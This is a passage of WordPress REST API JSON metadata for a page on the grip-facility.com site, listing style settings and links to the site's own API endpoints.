center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"class_list":["post-19576","page","type-page","status-publish","hentry"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.grip-facility.com\/en\/wp-json\/wp\/v2\/pages\/19576","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.grip-facility.com\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/www.grip-facility.com\/en\/wp-json\/wp\/v2\/types\/page"}],"replies":[{"embeddable":true,"href":"https:\/\/www.grip-facility.com\/en\/wp-json\/wp\/v2\/comments?post=19576"}],"version-history":[{"count":0,"href":"https:\/\/www.grip-facility.com\/en\/wp-json\/wp\/v2\/pages\/19576\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/www.grip-facility.com\/en\/wp-json\/wp\/v2\/pages\/14160"}],"wp:attachment":[{"href":"https:\/\/www.grip-facility.com\/en\/wp-json\/wp\/v2\/media?parent=19576"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}